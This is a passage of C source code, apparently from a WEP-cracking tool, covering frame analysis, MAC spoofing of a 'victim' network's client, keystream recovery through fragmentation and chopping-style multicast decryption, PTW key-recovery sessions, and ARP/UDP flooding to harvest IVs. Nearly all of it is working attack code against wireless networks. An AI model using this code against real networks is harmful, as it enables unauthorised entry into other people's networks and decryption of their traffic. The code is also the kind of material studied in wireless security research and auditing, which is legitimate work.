1098 				   return;
1099 		}
1100 
1101 		assert (wh->i_fc[1] & IEEE80211_FC1_PROTECTED);
1102 
1103 		if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1104 			rtrmac = (unsigned char *) malloc(6);
1105 			if (!rtrmac) {
1106 				perror("malloc()");
1107 				exit(1);
1108 			}
1109 
1110 			assert( rtrmac > (unsigned char*) 1);
1111 
1112 			memcpy (rtrmac, wh->i_addr3, 6);
1113 			time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1114 
1115 			return;
1116 		}
1117 #if 0
1118 		// check if its a TTL update from dictionary stuff
1119 		if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1120 		    dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1121 			int ttl_delta, new_ttl;
1122 
1123 			ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1124 			new_ttl = 128 - ttl_delta;
1125 
1126 			if (ttl_val && new_ttl != ttl_val) {
1127 				time_print("oops. ttl changed from %d to %d\n",
1128 					   ttl_val, new_ttl);
1129 				exit(1);
1130 			}
1131 
1132 			if (!ttl_val) {
1133 				ttl_val = new_ttl;
1134 				printf("\n");
1135 				time_print("Got TTL of %d\n", ttl_val);
1136 				calculate_inet_clear();
1137 			}
1138 		}
1139 
1140 		// check if its dictionary data
1141 		if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1142 			log_dictionary(body, len - sizeof(*wh));
1143 		}
1144 #endif
1145 	}
1146 
1147 #if 0
1148 	printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1149 		type, stype, mac2str(wh->i_addr2), len);
1150 #endif
1151 }
1152 
decrypt_arpreq(struct ieee80211_frame * wh,int rd)1153 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1154 	unsigned char* body;
1155 	int bodylen;
1156 	unsigned char clear[36];
1157 	unsigned char* ptr;
1158 	struct arphdr* h;
1159 	int i;
1160 
1161 	body = (unsigned char*) wh+sizeof(*wh);
1162 	ptr = clear;
1163 
1164 	// calculate clear-text
1165 	memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1166 	ptr += sizeof(arp_clear) -1;
1167 
1168 	h = (struct arphdr*)ptr;
1169 	h->ar_hrd = htons(ARPHRD_ETHER);
1170         h->ar_pro = htons(ETHERTYPE_IP);
1171         h->ar_hln = 6;
1172         h->ar_pln = 4;
1173         h->ar_op = htons(ARPOP_REQUEST);
1174 	ptr += sizeof(*h);
1175 
1176 	memcpy(ptr, wh->i_addr3, 6);
1177 
1178 	bodylen = rd - sizeof(*wh) - 4 - 4;
1179 	decryptstate.clen = bodylen;
1180 	decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1181 	if (!decryptstate.cipher) {
1182 		perror("malloc()");
1183 		exit(1);
1184 	}
1185 	decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1186 	if (!decryptstate.prgainfo.prga) {
1187 		perror("malloc()");
1188 		exit(1);
1189 	}
1190 
1191 
1192 	memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1193 	memcpy(decryptstate.prgainfo.iv, body, 3);
1194 
1195 	memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1196 	for(i = 0; i < (8+8+6); i++) {
1197 		decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1198 						clear[i];
1199 	}
1200 
1201 	decryptstate.prgainfo.len = i;
1202 	time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1203 }
1204 
log_wep(struct ieee80211_frame * wh,int len)1205 void log_wep(struct ieee80211_frame* wh, int len) {
1206 	int rd;
1207 	struct pcap_pkthdr pkh;
1208 	struct timeval tv;
1209 	unsigned char *body = (unsigned char*) (wh+1);
1210 
1211 	memset(&pkh, 0, sizeof(pkh));
1212 	pkh.caplen = pkh.len = len;
1213 	if (gettimeofday(&tv, NULL) == -1)
1214 		err(1, "gettimeofday()");
1215 	pkh.ts = tv;
1216 	if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1217 		err(1, "write()");
1218 
1219 	rd = write(weplog.fd, wh, len);
1220 
1221 	if (rd == -1) {
1222 		perror("write()");
1223 		exit(1);
1224 	}
1225 	if (rd != len) {
1226 		time_print("short write %d out of %d\n", rd, len);
1227 		exit(1);
1228 	}
1229 
1230 #if 0
1231 	if (fsync(weplog.fd) == -1) {
1232 		perror("fsync()");
1233 		exit(1);
1234 	}
1235 #endif
1236 
1237 	memcpy(weplog.iv, body, 3);
1238 	weplog.packets++;
1239 }
1240 
try_dictionary(struct ieee80211_frame * wh,int len)1241 void try_dictionary(struct ieee80211_frame* wh, int len) {
1242 	unsigned char *body;
1243 	char path[52];
1244 	char paths[3][3];
1245 	int i;
1246 	int fd, rd;
1247 	unsigned char packet[4096];
1248 	int dlen;
1249 	struct ether_header* eh;
1250 	uLong crc;
1251 	unsigned long *pcrc;
1252 	unsigned char* dmac, *smac;
1253 
1254 	assert (len < sizeof(packet) + sizeof(*eh));
1255 
1256 	body = (unsigned char*) wh + sizeof(*wh);
1257 
1258 	for (i = 0; i < 3; i++)
1259 		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1260 
1261 	sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1262 
1263 	fd = open(path, O_RDONLY);
1264 	if (fd == -1)
1265 		return;
1266 
1267 	rd = read(fd, &packet[6], sizeof(packet)-6);
1268 	if (rd == -1) {
1269 		perror("read()");
1270 		exit(1);
1271 	}
1272 	close(fd);
1273 
1274 
1275 	dlen = len - sizeof(*wh) - 4;
1276 	if (dlen > rd) {
1277 		printf("\n");
1278 		time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1279 		dlen);
1280 		return;
1281 	}
1282 
1283 	body += 4;
1284 	for (i = 0; i < dlen; i++)
1285 		packet[6+i] ^= body[i];
1286 
1287 	dlen -= 4;
1288 	crc = crc32(0L, Z_NULL, 0);
1289 	crc = crc32(crc, &packet[6], dlen);
1290 	pcrc = (unsigned long*) (&packet[6+dlen]);
1291 
1292 	if (*pcrc != crc) {
1293 		printf("\n");
1294 		time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1295 			   path, *pcrc, crc);
1296 		return;
1297 	}
1298 
1299 	// fill ethernet header
1300 	eh = (struct ether_header*) packet;
1301 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1302 		smac = wh->i_addr3;
1303 	else
1304 		smac = wh->i_addr2;
1305 
1306 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1307 		dmac = wh->i_addr3;
1308 	else
1309 		dmac = wh->i_addr1;
1310 
1311 	memcpy(eh->ether_dhost, dmac, 6);
1312 	memcpy(eh->ether_shost, smac, 6);
1313 	// ether type should be there from llc
1314 
1315 	dlen -= 8; // llc
1316 	dlen += sizeof(*eh);
1317 
1318 #if 0
1319 	printf("\n");
1320 	time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1321 	hexdump(packet, dlen);
1322 #endif
1323 
1324 	rd = write(tapfd, packet, dlen);
1325 	if (rd == -1) {
1326 		perror("write()");
1327 		exit(1);
1328 	}
1329 	if (rd != dlen) {
1330 		printf("Wrote %d / %d\n", rd, dlen);
1331 		exit(1);
1332 	}
1333 }
1334 
is_arp(struct ieee80211_frame * wh,int len)1335 int is_arp(struct ieee80211_frame *wh, int len)
1336 {
1337         int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1338 
1339         if (len == arpsize || len == 54)
1340                 return 1;
1341 
1342         return 0;
1343 }
1344 
get_sa(struct ieee80211_frame * wh)1345 void *get_sa(struct ieee80211_frame *wh)
1346 {
1347         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1348                 return wh->i_addr3;
1349         else
1350                 return wh->i_addr2;
1351 }
1352 
get_da(struct ieee80211_frame * wh)1353 void *get_da(struct ieee80211_frame *wh)
1354 {
1355         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1356                 return wh->i_addr1;
1357         else
1358                 return wh->i_addr3;
1359 }
1360 
known_clear(void * clear,struct ieee80211_frame * wh,int len)1361 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1362 {
1363         unsigned char *ptr = clear;
1364 
1365         /* IP */
1366         if (!is_arp(wh, len)) {
1367                 unsigned short iplen = htons(len - 8);
1368 
1369 //                printf("Assuming IP %d\n", len);
1370 
1371                 len = sizeof(S_LLC_SNAP_IP) - 1;
1372                 memcpy(ptr, S_LLC_SNAP_IP, len);
1373                 ptr += len;
1374 #if 1
1375                 len = 2;
1376                 memcpy(ptr, "\x45\x00", len);
1377                 ptr += len;
1378 
1379                 memcpy(ptr, &iplen, len);
1380                 ptr += len;
1381 #endif
1382                 len = ptr - ((unsigned char*)clear);
1383                 return len;
1384         }
1385 //        printf("Assuming ARP %d\n", len);
1386 
1387         /* arp */
1388         len = sizeof(S_LLC_SNAP_ARP) - 1;
1389         memcpy(ptr, S_LLC_SNAP_ARP, len);
1390         ptr += len;
1391 
1392         /* arp hdr */
1393         len = 6;
1394         memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1395         ptr += len;
1396 
1397         /* type of arp */
1398         len = 2;
1399         if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1400                 memcpy(ptr, "\x00\x01", len);
1401         else
1402                 memcpy(ptr, "\x00\x02", len);
1403         ptr += len;
1404 
1405         /* src mac */
1406         len = 6;
1407         memcpy(ptr, get_sa(wh), len);
1408         ptr += len;
1409 
1410         len = ptr - ((unsigned char*)clear);
1411         return len;
1412 }
1413 
add_keystream(struct ieee80211_frame * wh,int rd)1414 void add_keystream(struct ieee80211_frame* wh, int rd)
1415 {
1416 	unsigned char clear[1024];
1417 	int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1418 	int clearsize;
1419 	unsigned char *body = (unsigned char*) (wh+1);
1420 	int i;
1421 
1422 	clearsize = known_clear(clear, wh, dlen);
1423 	if (clearsize < 16)
1424 		return;
1425 
1426 	for (i = 0; i < 16; i++)
1427 		clear[i] ^= body[4+i];
1428 
1429 	PTW_addsession(ptw, body, clear);
1430 }
1431 
got_wep(struct ieee80211_frame * wh,int rd)1432 void got_wep(struct ieee80211_frame* wh, int rd) {
1433 	int bodylen;
1434 	int dlen;
1435 	unsigned char clear[1024];
1436 	int clearsize;
1437 	unsigned char *body;
1438 
1439 	bodylen = rd - sizeof(struct ieee80211_frame);
1440 
1441 	dlen = bodylen - 4 - 4;
1442 	body = (unsigned char*) wh + sizeof(*wh);
1443 
1444 
1445 	// log it if its stuff not from us...
1446 	if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1447 	     ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1448 	        memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1449 
1450 		if (body[3] != 0) {
1451 			time_print("Key index=%x!!\n", body[3]);
1452 			exit(1);
1453 		}
1454 		log_wep(wh, rd);
1455 		add_keystream(wh, rd);
1456 
1457 		// try to decrypt too
1458 		try_dictionary(wh, rd);
1459 	}
1460 
1461 	// look for arp-request packets... so we can decrypt em
1462 	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1463 	    (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1464 	    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1465 	     (dlen == 36 || dlen == PADDED_ARPLEN) &&
1466 	    !decryptstate.cipher &&
1467 	    !netip) {
1468 		decrypt_arpreq(wh, rd);
1469 	}
1470 
1471 	// we have prga... check if its our stuff being relayed...
1472 	if (prgainfo.len != 0) {
1473 		// looks like it...
1474 		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1475 		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1476 		    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1477 		    dlen == fragstate.len) {
1478 
1479 //			printf("I fink AP relayed it...\n");
1480 			set_prga(body, &body[4], fragstate.data, dlen);
1481 			free(fragstate.data);
1482 			fragstate.data = 0;
1483 			fragstate.waiting_relay = 0;
1484 		}
1485 
1486 		// see if we get the multicast stuff of when decrypting
1487 		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1488 		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1489 		    (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1490 		    dlen == 36) {
1491 
1492 			unsigned char pr = wh->i_addr1[5];
1493 
1494 			printf("\n");
1495 			time_print("Got clear-text byte: %d\n",
1496 			decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1497 
1498 			decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1499 			decryptstate.prgainfo.len++;
1500 			decryptstate.fragstate.waiting_relay = 1;
1501 
1502 			// ok we got the ip...
1503 			if (decryptstate.prgainfo.len == 26+1) {
1504 				unsigned char ip[4];
1505 				int i;
1506 				struct in_addr *in = (struct in_addr*) ip;
1507 				unsigned char *ptr;
1508 
1509 				for (i = 0; i < 4; i++)
1510 					ip[i] = decryptstate.cipher[8+8+6+i] ^
1511 						decryptstate.prgainfo.prga[8+8+6+i];
1512 
1513 				assert(!netip);
1514 				netip = (unsigned char*) malloc(16);
1515 				if(!netip) {
1516 					perror("malloc()");
1517 					exit(1);
1518 				}
1519 
1520 				memset(netip, 0, 16);
1521 				strcpy(netip, inet_ntoa(*in));
1522 
1523 				time_print("Got IP=(%s)\n", netip);
1524 				strcpy(myip, netip);
1525 
1526 				ptr = strchr(myip, '.');
1527 				assert(ptr);
1528 				ptr = strchr(ptr+1, '.');
1529 				assert(ptr);
1530 				ptr = strchr(ptr+1, '.');
1531 				assert(ptr);
1532 				strcpy(ptr+1,"123");
1533 
1534 				time_print("My IP=(%s)\n", myip);
1535 
1536 
1537 				free(decryptstate.prgainfo.prga);
1538 				free(decryptstate.cipher);
1539 				memset(&decryptstate, 0, sizeof(decryptstate));
1540 			}
1541 		}
1542 		return;
1543 	}
1544 
1545 	clearsize = known_clear(clear, wh, dlen);
1546 	time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1547 
1548 	set_prga(body, &body[4], clear, clearsize);
1549 }
1550 
stuff_for_net(struct ieee80211_frame * wh,int rd)1551 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1552 	int type,stype;
1553 
1554 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1555 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1556 
1557 	if (type == IEEE80211_FC0_TYPE_DATA &&
1558 	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1559 		int dlen = rd - sizeof(struct ieee80211_frame);
1560 
1561 		if (state == SPOOF_MAC) {
1562 			unsigned char mac[6];
1563 			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1564 				memcpy(mac, wh->i_addr3, 6);
1565 			} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1566 				memcpy(mac, wh->i_addr1, 6);
1567 			} else assert(0);
1568 
1569 			if (mac[0] == 0xff || mac[0] == 0x1)
1570 				return;
1571 
1572 			memcpy(mymac, mac, 6);
1573 			time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1574 			state = FOUND_VICTIM;
1575 			return;
1576 		}
1577 
1578 		// wep data!
1579 		if ( (wh->i_fc[1] & IEEE80211_FC1_PROTECTED) &&
1580 		    dlen > (4+8+4)) {
1581 			got_wep(wh, rd);
1582 		}
1583 	}
1584 }
1585 
anal(unsigned char * buf,int rd,int tx)1586 void anal(unsigned char* buf, int rd, int tx) { // yze
1587 	struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1588 	int type,stype;
1589 	static int lastseq = -1;
1590 	int seq;
1591 	unsigned short *seqptr;
1592 	int for_us = 0;
1593 
1594 	if (rd < 1) {
1595 		time_print("rd=%d\n", rd);
1596 		exit(1);
1597 	}
1598 
1599 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1600 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1601 
1602 	// sort out acks
1603 	if (state >= FOUND_VICTIM) {
1604 		// stuff for us
1605 		if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1606 			for_us = 1;
1607 			if (type != IEEE80211_FC0_TYPE_CTL)
1608 				send_ack(tx);
1609 		}
1610 	}
1611 
1612 	// XXX i know it aint great...
1613 	seqptr = (unsigned short*)  wh->i_seq;
1614 	seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1615 	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1616 	    type != IEEE80211_FC0_TYPE_CTL) {
1617 //		printf("Ignoring dup packet... seq=%d\n", seq);
1618 		return;
1619 	}
1620 	lastseq = seq;
1621 
1622 	// management frame
1623 	if (type == IEEE80211_FC0_TYPE_MGT) {
1624 		if(state == FIND_VICTIM) {
1625 			if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1626 			    stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1627 
1628 			    	if (get_victim_ssid(wh, rd)) {
1629 			    		return;
1630 				}
1631 			}
1632 
1633 		}
1634 	}
1635 
1636 	if (state >= FOUND_VICTIM) {
1637 		// stuff for us
1638 		if (for_us) {
1639 			stuff_for_us(wh, rd);
1640 		}
1641 
1642 		// stuff in network [even for us]
1643 		if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1644 			  (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1645 
1646 			  ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1647 			  (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1648 			   ) {
1649 			stuff_for_net(wh, rd);
1650 		}
1651 	}
1652 }
1653 
do_arp(unsigned char * buf,unsigned short op,unsigned char * m1,unsigned char * i1,unsigned char * m2,unsigned char * i2)1654 void do_arp(unsigned char* buf, unsigned short op,
1655 	    unsigned char* m1, unsigned char* i1,
1656 	    unsigned char* m2, unsigned char* i2) {
1657 
1658         struct in_addr sip;
1659         struct in_addr dip;
1660 	struct arphdr* h;
1661 	unsigned char* data;
1662 
1663         inet_aton(i1, &sip);
1664         inet_aton(i2, &dip);
1665 	h = (struct arphdr*) buf;
1666 
1667 	memset(h, 0, sizeof(*h));
1668 
1669 	h->ar_hrd = htons(ARPHRD_ETHER);
1670         h->ar_pro = htons(ETHERTYPE_IP);
1671         h->ar_hln = 6;
1672         h->ar_pln = 4;
1673         h->ar_op = htons(op);
1674 
1675 	data = (unsigned char*) h + sizeof(*h);
1676 
1677 	memcpy(data, m1, 6);
1678 	data += 6;
1679 	memcpy(data, &sip, 4);
1680 	data += 4;
1681 
1682 	memcpy(data, m2, 6);
1683 	data += 6;
1684 	memcpy(data, &dip, 4);
1685 	data += 4;
1686 }
1687 
send_fragment(int tx,struct frag_state * fs,struct prga_info * pi)1688 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1689 	unsigned char buf[4096];
1690 	struct ieee80211_frame* wh;
1691 	unsigned char* body;
1692 	int fragsize;
1693 	uLong crc;
1694 	unsigned long *pcrc;
1695 	int i;
1696 	unsigned short* seq;
1697 	unsigned short sn, fn;
1698 
1699 	wh = (struct ieee80211_frame*) buf;
1700 	memcpy(wh, &fs->wh, sizeof(*wh));
1701 
1702 	body = (unsigned char*) wh + sizeof(*wh);
1703 	memcpy(body, &pi->iv, 3);
1704 	body += 3;
1705 	*body++ = 0; // key index
1706 
1707 	fragsize = fs->data + fs->len - fs->ptr;
1708 
1709 	assert(fragsize > 0);
1710 
1711 	if ( (fragsize + 4) > pi->len) {
1712 		fragsize = pi->len  - 4;
1713 		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1714 	}
1715 	// last fragment
1716 	else {
1717 		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1718 	}
1719 
1720 	memcpy(body, fs->ptr, fragsize);
1721 
1722 	crc = crc32(0L, Z_NULL, 0);
1723 	crc = crc32(crc, body, fragsize);
1724 	pcrc = (unsigned long*) (body+fragsize);
1725 	*pcrc = crc;
1726 
1727 	for (i = 0; i < (fragsize + 4); i++)
1728 		body[i] ^= pi->prga[i];
1729 
1730 	seq = (unsigned short*) &wh->i_seq;
1731 	sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1732 	fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1733 //	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1734 
1735 	send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1736 
1737 	seq = (unsigned short*) &fs->wh.i_seq;
1738 	*seq = fnseq(++fn, sn);
1739 	fs->ptr += fragsize;
1740 
1741 	if (fs->ptr - fs->data == fs->len) {
1742 //		printf("Finished sending frags...\n");
1743 		fs->waiting_relay = 1;
1744 	}
1745 }
1746 
prepare_fragstate(struct frag_state * fs,int pad)1747 void prepare_fragstate(struct frag_state* fs, int pad) {
1748 	fs->waiting_relay = 0;
1749 	fs->len = 8 + 8 + 20 + pad;
1750 	fs->data = (unsigned char*) malloc(fs->len);
1751 
1752 	if(!fs->data) {
1753 		perror("malloc()");
1754 		exit(1);
1755 	}
1756 
1757 	fs->ptr = fs->data;
1758 
1759 	do_llc(fs->data, ETHERTYPE_ARP);
1760 	do_arp(&fs->data[8], ARPOP_REQUEST,
1761 	       mymac, myip,
1762 	       "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1763 
1764 	memset(&fs->wh, 0, sizeof(fs->wh));
1765 	fill_basic(&fs->wh);
1766 
1767 	memset(fs->wh.i_addr3, 0xff, 6);
1768 	fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1769 	fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1770 				IEEE80211_FC1_MORE_FRAG |
1771 				IEEE80211_FC1_PROTECTED;
1772 
1773 	memset(&fs->data[8+8+20], 0, pad);
1774 }
1775 
discover_prga(int tx)1776 void discover_prga(int tx) {
1777 
1778 	// create packet...
1779 	if (!fragstate.data) {
1780 		int pad = 0;
1781 
1782 		if (prgainfo.len >= 20)
1783 			pad = prgainfo.len*3;
1784 
1785 		prepare_fragstate(&fragstate, pad);
1786 	}
1787 
1788 	if (!fragstate.waiting_relay) {
1789 		send_fragment(tx, &fragstate, &prgainfo);
1790 		if (fragstate.waiting_relay) {
1791 			if (gettimeofday(&fragstate.last, NULL) == -1)
1792 				err(1, "gettimeofday()");
1793 		}
1794 	}
1795 }
1796 
decrypt(int tx)1797 void decrypt(int tx) {
1798 
1799 	// gotta initiate
1800 	if (!decryptstate.fragstate.data) {
1801 		prepare_fragstate(&decryptstate.fragstate, 0);
1802 
1803 		memcpy(decryptstate.fragstate.wh.i_addr3,
1804 		       MCAST_PREF, 5);
1805 
1806 		decryptstate.fragstate.wh.i_addr3[5] =
1807 		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1808 
1809 		decryptstate.prgainfo.len++;
1810 	}
1811 
1812 	// guess diff prga byte...
1813 	if (decryptstate.fragstate.waiting_relay) {
1814 		unsigned short* seq;
1815 		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1816 
1817 #if 0
1818 		if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1819 			printf("Can't decrpyt!\n");
1820 			exit(1);
1821 		}
1822 #endif
1823 		decryptstate.fragstate.wh.i_addr3[5] =
1824 		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1825 
1826 		decryptstate.fragstate.waiting_relay = 0;
1827 		decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1828 
1829 		seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1830 		*seq = fnseq(0, txstate.psent);
1831 	}
1832 
1833 	send_fragment(tx, &decryptstate.fragstate,
1834 		      &decryptstate.prgainfo);
1835 }
1836 
flood_inet(tx)1837 void flood_inet(tx) {
1838 	static int send_arp = -1;
1839 	static unsigned char arp_pkt[128];
1840 	static int arp_len;
1841 	static unsigned char udp_pkt[128];
1842 	static int udp_len;
1843 	static struct timeval last_ip;
1844 
1845 	// need to init packets...
1846 	if (send_arp == -1) {
1847 		unsigned char* body;
1848 		unsigned char* ptr;
1849 		struct ieee80211_frame* wh;
1850 		struct ip* ih;
1851 		struct udphdr* uh;
1852 
1853 		memset(arp_pkt, 0, sizeof(arp_pkt));
1854 		memset(udp_pkt, 0, sizeof(udp_pkt));
1855 
1856 		// construct ARP
1857 		wh = (struct ieee80211_frame*) arp_pkt;
1858 		fill_basic(wh);
1859 
1860 		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1861 		wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
1862 		memset(wh->i_addr3, 0xff, 6);
1863 
1864 		body = (unsigned char*) wh + sizeof(*wh);
1865 		ptr = body;
1866 		ptr += 4; // iv
1867 
1868 		do_llc(ptr, ETHERTYPE_ARP);
1869 		ptr += 8;
1870 		do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1871 		       "\x00\x00\x00\x00\x00\x00", netip);
1872 
1873 		wepify(body, 8+8+20);
1874 		arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1875 		assert(arp_len < sizeof(arp_pkt));
1876 
1877 
1878 		// construct UDP
1879 		wh = (struct ieee80211_frame*) udp_pkt;
1880 		fill_basic(wh);
1881 
1882 		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1883 		wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
1884 		memcpy(wh->i_addr3, rtrmac, 6);
1885 
1886 		body = (unsigned char*) wh + sizeof(*wh);
1887 		ptr = body;
1888 		ptr += 4; // iv
1889 
1890 		do_llc(ptr, ETHERTYPE_IP);
1891 		ptr += 8;
1892 
1893 		ih = (struct ip*) ptr;
1894 		ih->ip_hl = 5;
1895 		ih->ip_v = 4;
1896 		ih->ip_tos = 0;
1897 		ih->ip_len = htons(20+8+5);
1898 		ih->ip_id = htons(666);
1899 		ih->ip_off = 0;
1900 		ih->ip_ttl = 128;
1901 		ih->ip_p = IPPROTO_UDP;
1902 		ih->ip_sum = 0;
1903 
1904 		inet_aton(myip, &ih->ip_src);
1905 		inet_aton(floodip, &ih->ip_dst);
1906 
1907 		ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1908 
1909 		ptr += 20;
1910 		uh = (struct udphdr*) ptr;
1911 		uh->uh_sport = htons(floodsport);
1912 		uh->uh_dport = htons(floodport);
1913 		uh->uh_ulen = htons(8+5);
1914 		uh->uh_sum = 0;
1915 
1916 		ptr += 8;
1917 		strcpy(ptr, "sorbo");
1918 
1919 		uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1920 					  &ih->ip_dst);
1921 
1922 		wepify(body, 8+20+8+5);
1923 		udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1924 		assert(udp_len < sizeof(udp_pkt));
1925 
1926 		// bootstrap
1927 		send_arp = 1;
1928 
1929 		memset(&last_ip, 0, sizeof(last_ip));
1930 	}
1931 
1932 	if (send_arp == 1) {
1933 		struct timeval now;
1934 		unsigned long sec;
1935 
1936 		if (gettimeofday(&now, NULL) == -1) {
1937 			perror("gettimeofday()");
1938 			exit(1);
1939 		}
1940 
1941 		sec = now.tv_sec - last_ip.tv_sec;
1942 
1943 		if (sec < 5)
1944 			return;
1945 
1946 		send_frame(tx, arp_pkt, arp_len);
1947 		send_arp = 0;
1948 	}
1949 
1950 	else if (send_arp == 0) {
1951 		if (gettimeofday(&last_ip, NULL) == -1) {
1952 			perror("gettimeofday()");
1953 			exit(1);
1954 		}
1955 
1956 		send_frame(tx, udp_pkt, udp_len);
1957 		send_arp = 1;
1958 	} else assert(0);
1959 }
1960 
send_arp(int tx,unsigned short op,unsigned char * srcip,unsigned char * srcmac,unsigned char * dstip,unsigned char * dstmac)1961 void send_arp(int tx, unsigned short op, unsigned char* srcip,
1962 	      unsigned char* srcmac, unsigned char* dstip,
1963 	      unsigned char* dstmac) {
1964 
1965 	static unsigned char arp_pkt[128];
1966 	unsigned char* body;
1967 	unsigned char* ptr;
1968 	struct ieee80211_frame* wh;
1969 	int arp_len;
1970 
1971 	memset(arp_pkt, 0, sizeof(arp_pkt));
1972 
1973 	// construct ARP
1974 	wh = (struct ieee80211_frame*) arp_pkt;
1975 	fill_basic(wh);
1976 
1977 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1978 	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
1979 	memset(wh->i_addr3, 0xff, 6);
1980 
1981 	body = (unsigned char*) wh + sizeof(*wh);
1982 	ptr = body;
1983 	ptr += 4; // iv
1984 
1985 	do_llc(ptr, ETHERTYPE_ARP);
1986 	ptr += 8;
1987 	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1988 
1989 	wepify(body, 8+8+20);
1990 	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1991 	assert(arp_len < sizeof(arp_pkt));
1992 
1993 	send_frame(tx, arp_pkt, arp_len);
1994 }
1995 
can_write(int tx)1996 void can_write(int tx) {
1997 	static char arp_ip[16];
1998 
1999 	switch (state) {
2000 		case FOUND_VICTIM:
2001 			send_auth(tx);
